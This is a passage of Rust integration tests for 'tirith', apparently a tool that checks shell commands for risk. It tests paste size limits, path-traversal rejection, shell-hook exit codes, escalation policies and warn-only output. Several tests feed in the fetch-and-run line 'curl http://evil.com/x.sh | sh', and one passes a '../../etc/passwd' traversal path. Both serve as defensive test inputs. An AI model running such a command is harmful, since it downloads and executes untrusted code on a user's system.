stderr.contains("tirith: audit:"),
"debug env should surface audit diagnostics, got: {stderr}"
);
}
#[cfg(unix)]
#[test]
fn paste_oversized_input_rejected() {
use std::io::Write;
let mut child = Command::new(env!("CARGO_BIN_EXE_tirith"))
.args(["paste", "--shell", "posix"])
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
let data = vec![b'A'; 1024 * 1024 + 100];
child.stdin.take().unwrap().write_all(&data).unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(out.status.code(), Some(1), "paste >1MiB should exit 1");
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("1 MiB"),
"stderr should mention 1 MiB limit, got: {stderr}"
);
}
#[test]
fn receipt_verify_invalid_sha256_rejected() {
let out = tirith()
.args(["receipt", "verify", "../../etc/passwd"])
.output()
.expect("failed to run tirith");
assert_ne!(
out.status.code(),
Some(0),
"path traversal sha256 should be rejected"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("invalid sha256"),
"stderr should mention invalid sha256, got: {stderr}"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_unexpected_rc_logic_test() {
let script = r#"
for rc in 0 1 2 137; do
if [[ $rc -eq 0 ]]; then
printf "rc=%d:ALLOW\n" "$rc"
elif [[ $rc -eq 2 ]]; then
printf "rc=%d:WARN\n" "$rc"
elif [[ $rc -eq 1 ]]; then
printf "rc=%d:BLOCK\n" "$rc"
else
printf "rc=%d:UNEXPECTED\n" "$rc"
fi
done
"#;
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", script])
.output()
.expect("failed to run bash");
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(stdout.contains("rc=0:ALLOW"), "rc=0 should ALLOW");
assert!(stdout.contains("rc=1:BLOCK"), "rc=1 should BLOCK");
assert!(stdout.contains("rc=2:WARN"), "rc=2 should WARN");
assert!(
stdout.contains("rc=137:UNEXPECTED"),
"rc=137 should be UNEXPECTED"
);
}
#[cfg(unix)]
#[test]
fn zsh_unexpected_rc_branch_logic_test() {
let script = r#"
rc=137
if [[ $rc -eq 0 ]]; then echo ALLOW
elif [[ $rc -eq 2 ]]; then echo WARN
elif [[ $rc -eq 1 ]]; then echo BLOCK
else echo UNEXPECTED; fi
"#;
let out = Command::new("zsh").args(["-c", script]).output();
match out {
Ok(out) => {
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
stdout.trim() == "UNEXPECTED",
"zsh rc=137 should be UNEXPECTED, got: {stdout}"
);
}
Err(_) => {
eprintln!("skipping zsh branch test: zsh not available");
}
}
}
#[cfg(unix)]
#[test]
fn fish_unexpected_rc_branch_logic_test() {
let script = r#"set rc 137
if test $rc -eq 0; echo ALLOW
else if test $rc -eq 2; echo WARN
else if test $rc -eq 1; echo BLOCK
else; echo UNEXPECTED; end"#;
let out = Command::new("fish").args(["-c", script]).output();
match out {
Ok(out) => {
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
stdout.trim() == "UNEXPECTED",
"fish rc=137 should be UNEXPECTED, got: {stdout}"
);
}
Err(_) => {
eprintln!("skipping fish branch test: fish not available");
}
}
}
#[cfg(unix)]
#[test]
fn bash_hook_unexpected_rc_degrades_in_pty() {
if !expect_available() {
eprintln!("skipping PTY test: expect not available");
return;
}
if bash_major_version().map(|v| v < 5).unwrap_or(true) {
eprintln!("skipping PTY test: requires bash >= 5");
return;
}
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let marker = tmpdir.path().join("marker");
let fake_tirith = tmpdir.path().join("tirith");
fs::write(&fake_tirith, "#!/bin/sh\nexit 137\n").unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
fs::set_permissions(&fake_tirith, std::fs::Permissions::from_mode(0o755)).unwrap();
}
let marker_str = marker.display().to_string();
let fake_dir = tmpdir.path().display().to_string();
let expect_script = format!(
r#"
set timeout 20
set hook "{hook}"
set marker "{marker_str}"
set fake_dir "{fake_dir}"
spawn -noecho bash --norc --noprofile -i
expect -re {{[$#] $}}
send -- "export PS1='PROMPT> '\r"
expect "PROMPT> "
send -- "export PATH=$fake_dir:$PATH\r"
expect "PROMPT> "
send -- "export TIRITH_BASH_MODE=enter\r"
expect "PROMPT> "
send -- "export _TIRITH_TEST_SKIP_HEALTH=1\r"
expect "PROMPT> "
send -- "source '$hook'\r"
expect "PROMPT> "
send -- "touch $marker\r"
sleep 1
send -- "\x15"
sleep 0.5
send -- "echo MODE=$_TIRITH_BASH_MODE\r"
expect {{
-re {{MODE=preexec}} {{}}
timeout {{ exit 2 }}
}}
send -- "exit\r"
expect eof
"#
);
let out = Command::new("expect")
.args(["-c", &expect_script])
.env("XDG_STATE_HOME", tmpdir.path().join("state"))
.env_remove("TIRITH_BASH_MODE")
.env_remove("SSH_CONNECTION")
.env_remove("SSH_TTY")
.env_remove("SSH_CLIENT")
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run expect");
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
!marker.exists(),
"marker file should not exist — command should not have executed"
);
assert!(
stdout.contains("unexpected exit code") || stdout.contains("switching to preexec"),
"output should mention degrade reason, got:\n{stdout}"
);
assert!(
stdout.contains("MODE=preexec"),
"mode should degrade to preexec, got:\n{stdout}"
);
let flag = tmpdir.path().join("state/tirith/bash-safe-mode");
assert!(
flag.exists(),
"safe-mode flag should be persisted after unexpected rc degrade"
);
}
fn tirith_isolated(
session_id: &str,
state_dir: &std::path::Path,
cwd: &std::path::Path,
) -> Command {
let mut cmd = tirith();
cmd.env("TIRITH_SESSION_ID", session_id)
.env("XDG_STATE_HOME", state_dir)
.env("TIRITH_LOG", "0")
.current_dir(cwd);
cmd
}
#[test]
fn escalation_repeat_count_blocks_at_threshold() {
let tmpdir = tempfile::tempdir().expect("tempdir");
let state_dir = tmpdir.path().join("state");
let policy_dir = tmpdir.path().join("project/.tirith");
fs::create_dir_all(&policy_dir).unwrap();
fs::create_dir_all(&state_dir).unwrap();
let policy = r#"paranoia: 1
escalation:
- trigger: repeat_count
rule_ids: ["*"]
threshold: 3
action: block
"#;
fs::write(policy_dir.join("policy.yaml"), policy).unwrap();
fs::create_dir_all(tmpdir.path().join("project/.git")).unwrap();
let session_id = format!("test-escalation-{}", std::process::id());
let project_dir = tmpdir.path().join("project");
let out1 = tirith_isolated(&session_id, &state_dir, &project_dir)
.args([
"check",
"--non-interactive",
"--no-daemon",
"--shell",
"posix",
"--",
"curl https://bit.ly/aaa",
])
.output()
.expect("failed to run tirith");
assert_eq!(
out1.status.code(),
Some(2),
"1st shortened URL should exit 2 (warn), got stderr: {}",
String::from_utf8_lossy(&out1.stderr)
);
let out2 = tirith_isolated(&session_id, &state_dir, &project_dir)
.args([
"check",
"--non-interactive",
"--no-daemon",
"--shell",
"posix",
"--",
"curl https://bit.ly/bbb",
])
.output()
.expect("failed to run tirith");
assert_eq!(
out2.status.code(),
Some(2),
"2nd shortened URL should exit 2 (warn), got stderr: {}",
String::from_utf8_lossy(&out2.stderr)
);
let out3 = tirith_isolated(&session_id, &state_dir, &project_dir)
.args([
"check",
"--non-interactive",
"--no-daemon",
"--shell",
"posix",
"--",
"curl https://bit.ly/ccc",
])
.output()
.expect("failed to run tirith");
assert_eq!(
out3.status.code(),
Some(1),
"3rd shortened URL should exit 1 (escalated to block), got stderr: {}",
String::from_utf8_lossy(&out3.stderr)
);
}
#[test]
fn escalation_blocked_not_recorded_as_warning() {
let tmpdir = tempfile::tempdir().expect("tempdir");
let state_dir = tmpdir.path().join("state");
let policy_dir = tmpdir.path().join("project/.tirith");
fs::create_dir_all(&policy_dir).unwrap();
fs::create_dir_all(&state_dir).unwrap();
let policy = r#"paranoia: 1
escalation:
- trigger: repeat_count
rule_ids: ["*"]
threshold: 3
action: block
"#;
fs::write(policy_dir.join("policy.yaml"), policy).unwrap();
fs::create_dir_all(tmpdir.path().join("project/.git")).unwrap();
let session_id = format!("test-blocked-warn-{}", std::process::id());
let project_dir = tmpdir.path().join("project");
for slug in &["aaa", "bbb", "ccc"] {
let _ = tirith_isolated(&session_id, &state_dir, &project_dir)
.args([
"check",
"--non-interactive",
"--no-daemon",
"--shell",
"posix",
"--",
&format!("curl https://bit.ly/{slug}"),
])
.output()
.expect("failed to run tirith");
}
let out = tirith_isolated(&session_id, &state_dir, &project_dir)
.args(["warnings", "--json", "--session", &session_id])
.output()
.expect("failed to run tirith warnings");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
let json: serde_json::Value =
serde_json::from_str(&stdout).expect("warnings --json should be valid JSON");
assert_eq!(
json["total_warnings"], 2,
"only 2 warnings should be recorded (3rd was blocked, not a warning): {json}"
);
}
#[test]
fn warnings_clear_resets_session() {
let tmpdir = tempfile::tempdir().expect("tempdir");
let state_dir = tmpdir.path().join("state");
let policy_dir = tmpdir.path().join("project/.tirith");
fs::create_dir_all(&policy_dir).unwrap();
fs::create_dir_all(&state_dir).unwrap();
let policy = "paranoia: 1\n";
fs::write(policy_dir.join("policy.yaml"), policy).unwrap();
fs::create_dir_all(tmpdir.path().join("project/.git")).unwrap();
let session_id = format!("test-clear-{}", std::process::id());
let project_dir = tmpdir.path().join("project");
let out = tirith_isolated(&session_id, &state_dir, &project_dir)
.args([
"check",
"--non-interactive",
"--no-daemon",
"--shell",
"posix",
"--",
"curl https://bit.ly/abc",
])
.output()
.expect("failed to run tirith");
assert_eq!(
out.status.code(),
Some(2),
"shortened URL should warn (exit 2)"
);
let out = tirith_isolated(&session_id, &state_dir, &project_dir)
.args(["warnings", "--json", "--session", &session_id])
.output()
.expect("failed to run tirith warnings");
let json: serde_json::Value =
serde_json::from_str(&String::from_utf8_lossy(&out.stdout)).unwrap();
assert!(
json["total_warnings"].as_u64().unwrap() > 0,
"should have at least one warning before clear"
);
let out = tirith_isolated(&session_id, &state_dir, &project_dir)
.args(["warnings", "--clear", "--session", &session_id])
.output()
.expect("failed to run tirith warnings --clear");
assert_eq!(out.status.code(), Some(0));
let out = tirith_isolated(&session_id, &state_dir, &project_dir)
.args(["warnings", "--json", "--session", &session_id])
.output()
.expect("failed to run tirith warnings after clear");
let json: serde_json::Value =
serde_json::from_str(&String::from_utf8_lossy(&out.stdout)).unwrap();
assert_eq!(
json["total_warnings"], 0,
"warnings should be 0 after clear: {json}"
);
}
#[test]
fn paranoia_filters_low_finding_to_allow() {
let tmpdir = tempfile::tempdir().expect("tempdir");
let state_dir = tmpdir.path().join("state");
let policy_dir = tmpdir.path().join("project/.tirith");
fs::create_dir_all(&policy_dir).unwrap();
fs::create_dir_all(&state_dir).unwrap();
let policy = r#"paranoia: 1
severity_overrides:
shortened_url: LOW
"#;
fs::write(policy_dir.join("policy.yaml"), policy).unwrap();
fs::create_dir_all(tmpdir.path().join("project/.git")).unwrap();
let session_id = format!("test-paranoia-low-{}", std::process::id());
let project_dir = tmpdir.path().join("project");
let out = tirith_isolated(&session_id, &state_dir, &project_dir)
.args([
"check",
"--non-interactive",
"--no-daemon",
"--shell",
"posix",
"--",
"curl https://bit.ly/x",
])
.output()
.expect("failed to run tirith");
assert_eq!(
out.status.code(),
Some(0),
"LOW finding at paranoia=1 should be filtered to Allow (exit 0), got stderr: {}",
String::from_utf8_lossy(&out.stderr)
);
}
#[test]
fn check_warn_only_block_renders_as_detected() {
let out = tirith()
.args([
"check",
"--warn-only",
"--shell",
"posix",
"--",
"curl http://evil.com/x.sh | sh",
])
.output()
.expect("failed to run tirith");
assert_eq!(
out.status.code(),
Some(1),
"exit code stays 1 in warn-only mode; the flag is human-rendering-only"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
!stderr.contains("BLOCKED"),
"warn-only mode must not use 'BLOCKED' banner — got: {stderr}"
);
assert!(
stderr.contains("DETECTED"),
"warn-only mode must render block verdicts as DETECTED — got: {stderr}"
);
}
#[test]
fn check_without_warn_only_still_renders_blocked() {
let out = tirith()
.args([
"check",
"--shell",
"posix",
"--",
"curl http://evil.com/x.sh | sh",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1));
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("BLOCKED"),
"default mode must use BLOCKED banner — got: {stderr}"
);
assert!(
!stderr.contains("DETECTED"),
"default mode must not render DETECTED — got: {stderr}"
);
}
#[test]
fn warn_only_json_output_matches_plain_when_timings_stripped() {
let input = "curl http://evil.com/x.sh | sh";
let with_flag = tirith()
.args([
"check",
"--warn-only",
"--json",
"--shell",
"posix",
"--",
input,
])
.output()
.expect("tirith with --warn-only");
let without_flag = tirith()
.args(["check", "--json", "--shell", "posix", "--", input])
.output()
.expect("tirith without --warn-only");
let strip = |bytes: &[u8]| -> serde_json::Value {
let mut v: serde_json::Value = serde_json::from_slice(bytes).expect("parse JSON");
if let Some(obj) = v.as_object_mut() {
obj.remove("timings_ms");
}
v
};
assert_eq!(
strip(&with_flag.stdout),
strip(&without_flag.stdout),
"JSON must be identical except for timings_ms"
);
assert_eq!(
with_flag.status.code(),
without_flag.status.code(),
"exit codes must match"
);
}